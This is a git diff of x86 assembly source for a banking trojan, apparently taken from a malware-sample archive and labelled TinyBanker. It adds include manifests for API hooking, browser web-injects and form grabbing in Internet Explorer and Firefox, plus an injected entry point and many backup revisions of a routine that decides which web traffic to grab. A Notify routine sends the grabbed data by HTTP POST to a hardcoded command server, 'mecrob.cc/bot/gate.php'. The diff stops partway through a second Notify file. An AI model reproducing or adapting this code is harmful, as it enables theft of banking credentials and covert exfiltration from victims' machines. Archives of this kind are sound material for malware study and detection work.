Init\InitArr.inc + include Init\InitCfg.inc + include Init\InitHooks.inc + + include Logs\InLog.inc + include Logs\Notify.inc + include Crypt\Crypt.inc + include Crypt\rc4.inc + + include Strings\atodw.inc + include Strings\dwtoa.inc + include Strings\dwtoh.inc + include Strings\htodw.inc +; include Strings\ltrim.inc + include Strings\strcpyn.inc + include Strings\StrIPos.inc + include Strings\StrIPosEx.inc + include Strings\StrIMaskMatch.inc + + include TrCntrl\Compare.inc + include TrCntrl\GetInject.inc + include TrCntrl\IsGrabTerm.inc + include TrCntrl\WebInject.inc + + include TrCntrl\IE\GrabIEHeaders.inc + include TrCntrl\IE\InternetStatusCallback.inc + include TrCntrl\IE\hInternetCloseHandle.inc + include TrCntrl\IE\hHttpSendRequestW.inc + include TrCntrl\IE\hInternetQueryDataAvailable.inc + include TrCntrl\IE\hInternetReadFile.inc + include TrCntrl\IE\hHttpQueryInfoA.inc +; include TrCntrl\IE\hInternetReadFileExA.inc +; include TrCntrl\IE\hHttpSendRequestExW.inc +; include TrCntrl\IE\hInternetWriteFile.inc +; include TrCntrl\IE\hHttpEndRequestA.inc + + include TrCntrl\FF\CheckEOF.inc + include TrCntrl\FF\FFWebInject.inc + include TrCntrl\FF\FixHeaders.inc + include TrCntrl\FF\FixChunk.inc + include TrCntrl\FF\FixLen.inc + include TrCntrl\FF\GrabBrief.inc + include TrCntrl\FF\hPR_Write.inc + include TrCntrl\FF\hPR_Read.inc + include TrCntrl\FF\hPR_Close.inc + +@CODE_END: + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INCLUDES(4).ASM b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INCLUDES(4).ASM new file mode 100644 index 0000000..b3845ab --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INCLUDES(4).ASM @@ -0,0 +1,88 @@ + +.code + +;; ==================================================================================================== ;; +;; ;; +;; ==================================================================================================== ;; + + include windows.inc + + include kernel32.inc + include advapi32.inc + include user32.inc + includelib kernel32.lib + includelib advapi32.lib + includelib user32.lib + + include macro.inc + + +@CODE_START: + + ifdef DEBUGMODE + include DEBUG.ASM + endif + + + include INJECTED.ASM + include CONFIG.ASM + +; include Install\Install.inc + include Install\GlobalInject.inc + + include API\APITable.inc + include API\RestoreAPIs.inc + include API\Catchy32.inc + include API\HookAPI.inc + + include Func\Array.inc + include Func\FileRead.inc + + include Init\InitArr.inc + include Init\InitCfg.inc + include Init\InitHooks.inc + + include Logs\InLog.inc + include Logs\Notify.inc + include Crypt\Crypt.inc + include Crypt\rc4.inc + + include Strings\atodw.inc + include Strings\dwtoa.inc + include Strings\dwtoh.inc + include Strings\htodw.inc +; include Strings\ltrim.inc + include Strings\strcpyn.inc + include Strings\StrIPos.inc + include Strings\StrIPosEx.inc + include Strings\StrIMaskMatch.inc + + include TrCntrl\Compare.inc + include TrCntrl\GetInject.inc + include TrCntrl\IsGrabTerm.inc + include TrCntrl\WebInject.inc + + include TrCntrl\IE\GrabIEHeaders.inc + include TrCntrl\IE\InternetStatusCallback.inc + include TrCntrl\IE\hInternetCloseHandle.inc + include TrCntrl\IE\hHttpSendRequestW.inc + include TrCntrl\IE\hInternetQueryDataAvailable.inc + include TrCntrl\IE\hInternetReadFile.inc + include TrCntrl\IE\hHttpQueryInfoA.inc +; include TrCntrl\IE\hInternetReadFileExA.inc +; include TrCntrl\IE\hHttpSendRequestExW.inc +; include TrCntrl\IE\hInternetWriteFile.inc +; include TrCntrl\IE\hHttpEndRequestA.inc + + include TrCntrl\FF\CheckEOF.inc + include TrCntrl\FF\FFWebInject.inc + include TrCntrl\FF\FixHeaders.inc + include TrCntrl\FF\FixChunk.inc + include TrCntrl\FF\FixLen.inc + include TrCntrl\FF\GrabBrief.inc + include TrCntrl\FF\hPR_Write.inc + include TrCntrl\FF\hPR_Read.inc + include TrCntrl\FF\hPR_Close.inc + +@CODE_END: + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INJECTED(1).ASM b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INJECTED(1).ASM new file mode 100644 index 0000000..46853ab --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INJECTED(1).ASM @@ -0,0 +1,23 @@ + +.code + +;; ==================================================================================================== ;; +;; INJECTED_START - injected code entry point ;; +;; ==================================================================================================== ;; +INJECTED_START proc + local WSAData : WSADATA + + + GetBaseDelta ebx + + invokx &RestoreAPIs[ebx] + + invokx _WSAStartup[ebx], 202h, &WSAData + + invokx &InitCfg[ebx] + invokx &InitArr[ebx] + invokx &InitHooks[ebx] + + ret +INJECTED_START endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INJECTED(2).ASM b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INJECTED(2).ASM new file mode 100644 index 0000000..f0f58fd --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INJECTED(2).ASM @@ -0,0 +1,19 @@ + +.code + +;; ==================================================================================================== ;; +;; INJECTED_START - injected code entry point ;; +;; ==================================================================================================== ;; +INJECTED_START proc + + GetBaseDelta ebx + + invokx &RestoreAPIs[ebx] + + invokx &InitCfg[ebx] + invokx &InitArr[ebx] + invokx &InitHooks[ebx] + + ret +INJECTED_START endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(1).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(1).inc new file mode 100644 index 0000000..8c6646a --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(1).inc @@ -0,0 +1,86 @@ + +.code + +;; ==================================================================================================== ;; +;; IsGrabTerm - decide grab or not ;; +;; __in lpData - pointer to data with method and url (len in first dword) ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; ==================================================================================================== ;; +IsGrabTerm proc uses ecx edx edi esi dwHandle : dword + local lpWebFilterSt : dword + local lpWebFilterEnd : dword + + + + invokx &ArrayKeyPos[ebx], lpSendBuffersArray[ebx], dwHandle + jmpz eax, @ret ;; no stored connections for this handle + mov edi, [eax+4] ;; ptr to connection brief + + + ;; Parse ConfigFileData + xor eax, eax + mov esi, lpConfigFileData[ebx] + jmpz esi, @ret ;; if ConfigFileData not exist + lodsd + jmpz eax, @ret ;; if ConfigFileData len is 0 + + + ;; Search "\n[webfilter]\n" in ConfigFileData + lea ecx, [esi + eax] + invokx &StrIPos[ebx], esi, eax, "\n[webfilter]\n", 13 + jmpz eax, @ret + add eax, 12 + mov lpWebFilterSt, eax + + + ;; Search "\n[end]\n" after "\n[webfilter]\n" in ConfigFileData + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\n[end]\n", 7 + jmpz eax, @ret + inc eax + mov lpWebFilterEnd, eax + + +;; ================================================== ;; + xor edx, edx +@next: + + ;; Search "\n" (next string) between [webfilter] & [end] + mov ecx, lpWebFilterEnd + sub ecx, lpWebFilterSt + invokx &StrIPos[ebx], lpWebFilterSt, ecx, "\n", 1 + jmpz eax, @end + inc eax + cmp lpWebFilterEnd, eax + je @end + mov lpWebFilterSt, eax + + + xor esi, esi + inc esi ;; set grab flag modificator + cmp byte ptr[eax], "!" + jne @F + + dec esi ;; reset grab flag modificator + inc eax ;; next char + dec ecx ;; new len + + + +@@: invokx &Compare[ebx], edi, eax, ecx + jmpz eax, @next + + + ;; Set Grab Flag + mov edx, esi + jmp @next + + +@end: + mov eax, edx + +@ret: + ret +IsGrabTerm endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(2).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(2).inc new file mode 100644 index 0000000..88f0b7b --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(2).inc @@ -0,0 +1,85 @@ + +.code + +;; ==================================================================================================== ;; +;; IsGrabTerm - decide grab or not ;; +;; __in lpData - pointer to data with method and url (len in first dword) ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; ==================================================================================================== ;; +IsGrabTerm proc uses ecx edx edi esi dwHandle : dword + local lpWebFilterSt : dword + local lpWebFilterEnd : dword + + + + invokx &ArrayKeyPos[ebx], lpSendBuffersArray[ebx], dwHandle + jmpz eax, @ret ;; no stored connections for this handle + mov edi, [eax+4] ;; ptr to connection brief + + + ;; Parse ConfigFileData + xor eax, eax + mov esi, lpConfigFileData[ebx] + jmpz esi, @ret ;; if ConfigFileData not exist + lodsd + jmpz eax, @ret ;; if ConfigFileData len is 0 + + + ;; Search "\n[webfilter]\n" in ConfigFileData + lea ecx, [esi + eax] + invokx &StrIPos[ebx], esi, eax, "\n[webfilter]\n", 13 + jmpz eax, @ret + add eax, 12 + mov lpWebFilterSt, eax + + + ;; Search "\n[end]\n" after "\n[webfilter]\n" in ConfigFileData + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\n[end]\n", 7 + jmpz eax, @ret + inc eax + mov lpWebFilterEnd, eax + + +;; ================================================== ;; + xor edx, edx +@next: + + ;; Search "\n" (next string) between [webfilter] & [end] + mov ecx, lpWebFilterEnd + sub ecx, lpWebFilterSt + invokx &StrIPos[ebx], lpWebFilterSt, ecx, "\n", 1 + jmpz eax, @end + inc eax + cmp lpWebFilterEnd, eax + je @end + mov lpWebFilterSt, eax + + + xor esi, esi + inc esi ;; set grab flag modificator + cmp byte ptr[eax], "!" + jne @F + + inc eax ;; next char + dec ecx ;; new len + dec esi ;; reset grab flag modificator + + +@@: invokx &Compare[ebx], edi, eax, ecx + jmpz eax, @next + + + ;; Set Grab Flag + mov edx, esi + jmp @next + + +@end: + mov eax, edx + +@ret: + ret +IsGrabTerm endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(3).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(3).inc new file mode 100644 index 0000000..32ed562 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(3).inc @@ -0,0 +1,85 @@ + +.code + +;; ==================================================================================================== ;; +;; IsGrabTerm - decide grab or not ;; +;; __in lpData - pointer to data with method and url (len in first dword) ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; ==================================================================================================== ;; +IsGrabTerm proc uses ecx edx edi esi dwHandle : dword + local lpWebFilterSt : dword + local lpWebFilterEnd : dword + + + + invokx &ArrayKeyPos[ebx], lpSendBuffersArray[ebx], dwHandle + jmpz eax, @ret ;; no stored connections for this handle + mov edi, [eax+4] ;; ptr to connection brief + + + ;; Parse ConfigFileData + xor eax, eax + mov esi, lpConfigFileData[ebx] + jmpz esi, @ret ;; if ConfigFileData not exist + lodsd + jmpz eax, @ret ;; if ConfigFileData len is 0 + + + ;; Search "\n[webfilter]\n" in ConfigFileData + lea ecx, [esi + eax] + invokx &StrIPos[ebx], esi, eax, "\n[webfilter]\n", 13 + jmpz eax, @ret + add eax, 12 + mov lpWebFilterSt, eax + + + ;; Search "\n[end]\n" after "\n[webfilter]\n" in ConfigFileData + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\n[end]\n", 7 + jmpz eax, @ret + inc eax + mov lpWebFilterEnd, eax + + +;; ================================================== ;; + xor edx, edx +@next: + + ;; Search "\n" (next string) between [webfilter] & [end] + mov ecx, lpWebFilterEnd + sub ecx, lpWebFilterSt + invokx &StrIPos[ebx], lpWebFilterSt, ecx, "\n", 1 + jmpz eax, @end + inc eax + cmp lpWebFilterEnd, eax + je @end + mov lpWebFilterSt, eax + + + xor esi, esi + inc esi ;; set grab flag modificator + cmp byte ptr[eax], "!" + jne @F + + inc eax ;; + dec ecx ;; + dec esi ;; reset grab flag modificator + + +@@: invokx &Compare[ebx], edi, eax, ecx + jmpz eax, @next + + + ;; Set Grab Flag + mov edx, esi + jmp @next + + +@end: + mov eax, edx + +@ret: + ret +IsGrabTerm endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(4).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(4).inc new file mode 100644 index 0000000..9733ec5 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(4).inc @@ -0,0 +1,85 @@ + +.code + +;; ==================================================================================================== ;; +;; IsGrabTerm - decide grab or not ;; +;; __in lpData - pointer to data with method and url (len in first dword) ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; ==================================================================================================== ;; +IsGrabTerm proc uses ecx edx edi esi dwHandle : dword + local lpWebFilterSt : dword + local lpWebFilterEnd : dword + + + + invokx &ArrayKeyPos[ebx], lpSendBuffersArray[ebx], dwHandle + jmpz eax, @ret ;; no stored connections for this handle + mov edi, [eax+4] ;; ptr to connection brief + + + ;; Parse ConfigFileData + xor eax, eax + mov esi, lpConfigFileData[ebx] + jmpz esi, @ret ;; if ConfigFileData not exist + lodsd + jmpz eax, @ret ;; if ConfigFileData len is 0 + + + ;; Search "\n[webfilter]\n" in ConfigFileData + lea ecx, [esi + eax] + invokx &StrIPos[ebx], esi, eax, "\n[webfilter]\n", 13 + jmpz eax, @ret + add eax, 12 + mov lpWebFilterSt, eax + + + ;; Search "\n[end]\n" after "\n[webfilter]\n" in ConfigFileData + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\n[end]\n", 7 + jmpz eax, @ret + inc eax + mov lpWebFilterEnd, eax + + +;; ================================================== ;; + xor edx, edx +@next: + + ;; Search "\n" (next string) between [webfilter] & [end] + mov ecx, lpWebFilterEnd + sub ecx, lpWebFilterSt + invokx &StrIPos[ebx], lpWebFilterSt, ecx, "\n", 1 + jmpz eax, @end + inc eax + cmp lpWebFilterEnd, eax + je @end + mov lpWebFilterSt, eax + + + xor esi, esi + inc esi ;; set grab flag modificator + cmp byte ptr[eax], "!" + jne @F + + inc eax + dec ecx + dec esi ;; reset grab flag modificator + + +@@: invokx &Compare[ebx], edi, eax, ecx + jmpz eax, @next + + + ;; Set Grab Flag + mov edx, esi + jmp @next + + +@end: + mov eax, edx + +@ret: + ret +IsGrabTerm endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(5).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(5).inc new file mode 100644 index 0000000..dd075d6 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(5).inc @@ -0,0 +1,85 @@ + +.code + +;; ==================================================================================================== ;; +;; IsGrabTerm - decide grab or not ;; +;; __in lpData - pointer to data with method and url (len in first dword) ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; ==================================================================================================== ;; +IsGrabTerm proc uses ecx edx edi esi dwHandle : dword + local lpWebFilterSt : dword + local lpWebFilterEnd : dword + + + + invokx &ArrayKeyPos[ebx], lpSendBuffersArray[ebx], dwHandle + jmpz eax, @ret ;; no stored connections for this handle + mov edi, [eax+4] ;; ptr to connection brief + + + ;; Parse ConfigFileData + xor eax, eax + mov esi, lpConfigFileData[ebx] + jmpz esi, @ret ;; if ConfigFileData not exist + lodsd + jmpz eax, @ret ;; if ConfigFileData len is 0 + + + ;; Search "\n[webfilter]\n" in ConfigFileData + lea ecx, [esi + eax] + invokx &StrIPos[ebx], esi, eax, "\n[webfilter]\n", 13 + jmpz eax, @ret + add eax, 12 + mov lpWebFilterSt, eax + + + ;; Search "\n[end]\n" after "\n[webfilter]\n" in ConfigFileData + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\n[end]\n", 7 + jmpz eax, @ret + inc eax + mov lpWebFilterEnd, eax + + +;; ================================================== ;; + xor edx, edx +@next: + + ;; Search "\n" (next string) between [webfilter] & [end] + mov ecx, lpWebFilterEnd + sub ecx, lpWebFilterSt + invokx &StrIPos[ebx], lpWebFilterSt, ecx, "\n", 1 + jmpz eax, @end + inc eax + cmp lpWebFilterEnd, eax + je @end + mov lpWebFilterSt, eax + + + xor esi, esi + inc esi ;; Set grab flag modificator + cmp byte ptr[eax], "!" + jne @F + + inc eax + dec ecx + dec esi + + +@@: invokx &Compare[ebx], edi, eax, ecx + jmpz eax, @next + + + ;; Set Grab Flag + mov edx, esi + jmp @next + + +@end: + mov eax, edx + +@ret: + ret +IsGrabTerm endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(6).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(6).inc new file mode 100644 index 0000000..59f6c2a --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(6).inc @@ -0,0 +1,89 @@ + +.code + +;; ==================================================================================================== ;; +;; IsGrabTerm - decide grab or not ;; +;; __in lpData - pointer to data with method and url (len in first dword) ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; ==================================================================================================== ;; +IsGrabTerm proc uses ecx edx edi esi dwHandle : dword + local lpWebFilterSt : dword + local lpWebFilterEnd : dword + + + + invokx &ArrayKeyPos[ebx], lpSendBuffersArray[ebx], dwHandle + jmpz eax, @ret ;; no stored connections for this handle + mov edi, [eax+4] ;; ptr to connection brief + + + ;; Parse ConfigFileData + xor eax, eax + mov esi, lpConfigFileData[ebx] + jmpz esi, @ret ;; if ConfigFileData not exist + lodsd + jmpz eax, @ret ;; if ConfigFileData len is 0 + + + ;; Search "\n[webfilter]\n" in ConfigFileData + lea ecx, [esi + eax] + invokx &StrIPos[ebx], esi, eax, "\n[webfilter]\n", 13 + jmpz eax, @ret + add eax, 12 + mov lpWebFilterSt, eax + + + ;; Search "\n[end]\n" after "\n[webfilter]\n" in ConfigFileData + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\n[end]\n", 7 + jmpz eax, @ret + inc eax + mov lpWebFilterEnd, eax + + +;; ================================================== ;; + xor edx, edx +@next: + + ;; Search "\n" (next string) between [webfilter] & [end] + mov ecx, lpWebFilterEnd + sub ecx, lpWebFilterSt + invokx &StrIPos[ebx], lpWebFilterSt, ecx, "\n", 1 + jmpz eax, @end + inc eax + cmp lpWebFilterEnd, eax + je @end + mov lpWebFilterSt, eax + + + xor esi, esi ;; reset grab flag modificator + cmp byte ptr[eax], "!" + jne @F + + inc eax + dec ecx + dec esi + + +@@: inc esi + + + +@cmp: + invokx &Compare[ebx], edi, eax, ecx + jmpz eax, @next + + + ;; Set Grab Flag + mov edx, esi + jmp @next + + +@end: + mov eax, edx + +@ret: + ret +IsGrabTerm endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(7).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(7).inc new file mode 100644 index 0000000..cf218a1 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(7).inc @@ -0,0 +1,89 @@ + +.code + +;; ==================================================================================================== ;; +;; IsGrabTerm - decide grab or not ;; +;; __in lpData - pointer to data with method and url (len in first dword) ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; ==================================================================================================== ;; +IsGrabTerm proc uses ecx edx edi esi dwHandle : dword + local lpWebFilterSt : dword + local lpWebFilterEnd : dword + + + + invokx &ArrayKeyPos[ebx], lpSendBuffersArray[ebx], dwHandle + jmpz eax, @ret ;; no stored connections for this handle + mov edi, [eax+4] ;; ptr to connection brief + + + ;; Parse ConfigFileData + xor eax, eax + mov esi, lpConfigFileData[ebx] + jmpz esi, @ret ;; if ConfigFileData not exist + lodsd + jmpz eax, @ret ;; if ConfigFileData len is 0 + + + ;; Search "\n[webfilter]\n" in ConfigFileData + lea ecx, [esi + eax] + invokx &StrIPos[ebx], esi, eax, "\n[webfilter]\n", 13 + jmpz eax, @ret + add eax, 12 + mov lpWebFilterSt, eax + + + ;; Search "\n[end]\n" after "\n[webfilter]\n" in ConfigFileData + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\n[end]\n", 7 + jmpz eax, @ret + inc eax + mov lpWebFilterEnd, eax + + +;; ================================================== ;; + xor edx, edx +@next: + + ;; Search "\n" (next string) between [webfilter] & [end] + mov ecx, lpWebFilterEnd + sub ecx, lpWebFilterSt + invokx &StrIPos[ebx], lpWebFilterSt, ecx, "\n", 1 + jmpz eax, @end + inc eax + cmp lpWebFilterEnd, eax + je @end + mov lpWebFilterSt, eax + + + xor esi, esi ;; reset grab flag modificator + cmp byte ptr[eax], "!" + jne @F + + inc eax + dec ecx + dec esi + + +@@: + + + +@cmp: + invokx &Compare[ebx], edi, eax, ecx + jmpz eax, @next + + + ;; Set Grab Flag + mov edx, esi + jmp @next + + +@end: + mov eax, edx + +@ret: + ret +IsGrabTerm endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(8).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(8).inc new file mode 100644 index 0000000..4993e35 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(8).inc @@ -0,0 +1,85 @@ + +.code + +;; ==================================================================================================== ;; +;; IsGrabTerm - decide grab or not ;; +;; __in lpData - pointer to data with method and url (len in first dword) ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; ==================================================================================================== ;; +IsGrabTerm proc uses ecx edx edi esi dwHandle : dword + local lpWebFilterSt : dword + local lpWebFilterEnd : dword + + + + invokx &ArrayKeyPos[ebx], lpSendBuffersArray[ebx], dwHandle + jmpz eax, @ret ;; no stored connections for this handle + mov edi, [eax+4] ;; ptr to connection brief + + + ;; Parse ConfigFileData + xor eax, eax + mov esi, lpConfigFileData[ebx] + jmpz esi, @ret ;; if ConfigFileData not exist + lodsd + jmpz eax, @ret ;; if ConfigFileData len is 0 + + + ;; Search "\n[webfilter]\n" in ConfigFileData + lea ecx, [esi + eax] + invokx &StrIPos[ebx], esi, eax, "\n[webfilter]\n", 13 + jmpz eax, @ret + add eax, 12 + mov lpWebFilterSt, eax + + + ;; Search "\n[end]\n" after "\n[webfilter]\n" in ConfigFileData + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\n[end]\n", 7 + jmpz eax, @ret + inc eax + mov lpWebFilterEnd, eax + + +;; ================================================== ;; + xor edx, edx +@next: + + ;; Search "\n" (next string) between [webfilter] & [end] + mov ecx, lpWebFilterEnd + sub ecx, lpWebFilterSt + invokx &StrIPos[ebx], lpWebFilterSt, ecx, "\n", 1 + jmpz eax, @end + inc eax + cmp lpWebFilterEnd, eax + je @end + mov lpWebFilterSt, eax + + + xor esi, esi ;; reset grab flag modificator + cmp byte ptr[eax], "!" + jne @cmp + + inc eax + dec ecx + dec esi + + +@cmp: + invokx &Compare[ebx], edi, eax, ecx + jmpz eax, @next + + + ;; Set Grab Flag + mov edx, esi + jmp @next + + +@end: + mov eax, edx + +@ret: + ret +IsGrabTerm endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(9).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(9).inc new file mode 100644 index 0000000..467595e --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(9).inc @@ -0,0 +1,86 @@ + +.code + +;; ==================================================================================================== ;; +;; IsGrabTerm - decide grab or not ;; +;; __in lpData - pointer to data with method and url (len in first dword) ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; ==================================================================================================== ;; +IsGrabTerm proc uses ecx edx edi esi dwHandle : dword + local lpWebFilterSt : dword + local lpWebFilterEnd : dword + + + + invokx &ArrayKeyPos[ebx], lpSendBuffersArray[ebx], dwHandle + jmpz eax, @ret ;; no stored connections for this handle + mov edi, [eax+4] ;; ptr to connection brief + + + ;; Parse ConfigFileData + xor eax, eax + mov esi, lpConfigFileData[ebx] + jmpz esi, @ret ;; if ConfigFileData not exist + lodsd + jmpz eax, @ret ;; if ConfigFileData len is 0 + + + ;; Search "\n[webfilter]\n" in ConfigFileData + lea ecx, [esi + eax] + invokx &StrIPos[ebx], esi, eax, "\n[webfilter]\n", 13 + jmpz eax, @ret + add eax, 12 + mov lpWebFilterSt, eax + + + ;; Search "\n[end]\n" after "\n[webfilter]\n" in ConfigFileData + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\n[end]\n", 7 + jmpz eax, @ret + inc eax + mov lpWebFilterEnd, eax + + +;; ================================================== ;; + xor edx, edx +@next: + + ;; Search "\n" (next string) between [webfilter] & [end] + mov ecx, lpWebFilterEnd + sub ecx, lpWebFilterSt + invokx &StrIPos[ebx], lpWebFilterSt, ecx, "\n", 1 + jmpz eax, @end + inc eax + cmp lpWebFilterEnd, eax + je @end + mov lpWebFilterSt, eax + + + xor esi, esi ;; reset grab flag modificator + inc esi + cmp byte ptr[eax], "!" + jne @cmp + + inc eax + dec ecx + dec esi + + +@cmp: + invokx &Compare[ebx], edi, eax, ecx + jmpz eax, @next + + + ;; Set Grab Flag + mov edx, esi + jmp @next + + +@end: + mov eax, edx + +@ret: + ret +IsGrabTerm endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(1).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(1).inc new file mode 100644 index 0000000..f380490 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(1).inc @@ -0,0 +1,104 @@ + +.code + +;; ==================================================================================================== ;; +;; Notify - ;; +;; __in lpData - data ptr with its len in first dword ;; +;; ==================================================================================================== ;; +Notify proc lpData : dword + local lpContents : dword + local dwContentsLen : dword +; local WSAData : WSADATA + local clntSrvc : sockaddr_in + local hSocket : dword + local ReqBuff[320] : byte + + + + GetBaseDelta ebx + + + mov esi, lpData + lodsd ;; data len + mov lpContents, esi + mov dwContentsLen, eax + + +; invokx _WSAStartup[ebx], 202h, &WSAData +; jmpnz eax, @err + + + ;; Convert if IP + invokx _inet_addr[ebx], &szHostName[ebx] + jmpns eax, @F + + ;; Resolve if host + invokx _gethostbyname[ebx], &szHostName[ebx] + jmpz eax, @err + ;; inet_addr + mov eax, [eax+0Ch] + mov eax, [eax] + mov eax, [eax] + + +@@: mov clntSrvc.sin_addr, eax + mov clntSrvc.sin_port, 5000h + mov clntSrvc.sin_family, AF_INET + mov clntSrvc.sin_zero, 0 + mov clntSrvc.sin_zero+4, 0 + + + invokx _socket[ebx], AF_INET, SOCK_STREAM, 0 + jmps eax, @err + mov hSocket, eax + + + invokx _connect[ebx], hSocket, &clntSrvc, sizeof clntSrvc + jmpnz eax, @err + + + invokx &strcpyn[ebx], &ReqBuff, "POST ", 5 + invokx &strcpyn[ebx], eax, &sResource[ebx], sizeof sResource + invokx &strcpyn[ebx], eax, " HTTP/1.1\r\nHost: ", 17 + invokx &strcpyn[ebx], eax, &szHostName[ebx], sizeof szHostName-1 + invokx &strcpyn[ebx], eax, "\r\nContent-Length: ", 18 + invokx &dwtoa[ebx], dwContentsLen, eax + mov edi, eax + mov eax, 0A0D0A0Dh + stosd + lea eax, ReqBuff + sub edi, eax + + + invokx _send[ebx], hSocket, &ReqBuff, edi, 0 + jmps eax, @err + + + invokx _send[ebx], hSocket, lpContents, dwContentsLen, 0 + jmps eax, @err + + + invokx _recv[ebx], hSocket, &ReqBuff, 320, 0 + jmps eax, @err + + + invokx _closesocket[ebx], hSocket + + + invokx _VirtualFree[ebx], lpData, 0, MEM_RELEASE + + +@err: + xor eax, eax + ret +Notify endp + + + szHostName db "mecrob.cc",0 + sResource db "/bot/gate.php" + + +; sSupplier db "loadscc" +; sBotNET db "default" + sPassword db "default_password" + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(2).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(2).inc new file mode 100644 index 0000000..0e524a1 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(2).inc @@ -0,0 +1,104 @@ + +.code + +;; ==================================================================================================== ;; +;; Notify - ;; +;; __in lpData - data ptr with its len in first dword ;; +;; ==================================================================================================== ;; +Notify proc lpData : dword + local lpContents : dword + local dwContentsLen : dword + local WSAData : WSADATA + local clntSrvc : sockaddr_in + local hSocket : dword + local ReqBuff[320] : byte + + + + GetBaseDelta ebx + + + mov esi, lpData + lodsd ;; data len + mov lpContents, esi + mov dwContentsLen, eax + + +; invokx _WSAStartup[ebx], 202h, &WSAData +; jmpnz eax, @err + + + ;; Convert if IP + invokx _inet_addr[ebx], &szHostName[ebx] + jmpns eax, @F + + ;; Resolve if host + invokx _gethostbyname[ebx], &szHostName[ebx] + jmpz eax, @err + ;; inet_addr + mov eax, [eax+0Ch] + mov eax, [eax] + mov eax, [eax] + + +@@: mov clntSrvc.sin_addr, eax + mov clntSrvc.sin_port, 5000h + mov clntSrvc.sin_family, AF_INET + mov clntSrvc.sin_zero, 0 + mov clntSrvc.sin_zero+4, 0 + + + invokx _socket[ebx], AF_INET, SOCK_STREAM, 0 + jmps eax, @err + mov hSocket, eax + + + invokx _connect[ebx], hSocket, &clntSrvc, sizeof clntSrvc + jmpnz eax, @err + + + invokx &strcpyn[ebx], &ReqBuff, "POST ", 5 + invokx &strcpyn[ebx], eax, &sResource[ebx], sizeof sResource + invokx &strcpyn[ebx], eax, " HTTP/1.1\r\nHost: ", 17 + invokx &strcpyn[ebx], eax, &szHostName[ebx], sizeof szHostName-1 + invokx &strcpyn[ebx], eax, "\r\nContent-Length: ", 18 + invokx &dwtoa[ebx], dwContentsLen, eax + mov edi, eax + mov eax, 0A0D0A0Dh + stosd + lea eax, ReqBuff + sub edi, eax + + + invokx _send[ebx], hSocket, &ReqBuff, edi, 0 + 